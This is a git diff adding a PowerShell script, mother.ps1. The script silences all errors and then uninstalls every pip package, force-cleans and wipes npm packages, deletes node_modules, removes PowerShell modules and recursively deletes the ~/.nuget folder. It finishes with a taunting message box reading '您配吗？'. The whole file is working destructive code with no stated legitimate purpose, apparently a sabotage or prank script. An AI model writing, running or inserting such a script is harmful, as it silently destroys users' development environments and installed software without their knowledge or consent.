diff --git a/mother.ps1 b/mother.ps1
new file mode 100644
index 0000000..34e9bd5
--- /dev/null
+++ b/mother.ps1
@@ -0,0 +1,27 @@
+$script:ErrorActionPreference = 'SilentlyContinue'
+
+# pip
+'pip', 'pip3' | ? { Get-Command $_ } | % {
+    & $_ list --disable-pip-version-check --format json | ConvertFrom-Json | % { & $_ uninstall -y $_.Name}
+}
+
+# npm
+'npm' | ? { Get-Command $_ } | % {
+    & $_ cache verify
+    & $_ cache clean --force
+    & $_ uninstall *
+}
+Remove-Item -Recurse -Force node_modules
+
+# PowerShell
+Get-InstalledModule | Remove-Module
+
+# dotfiles
+Remove-Item -Recurse -Force ~/.nuget
+
+# Show message
+if ($PSVersionTable.PSEdition -eq 'Desktop' -or $IsWindows) {
+    Add-Type -AssemblyName System.Windows.Forms
+    [System.Windows.Forms.MessageBox]::Show('您配吗？')
+}
+Write-Host '您配吗？' -ForegroundColor Magenta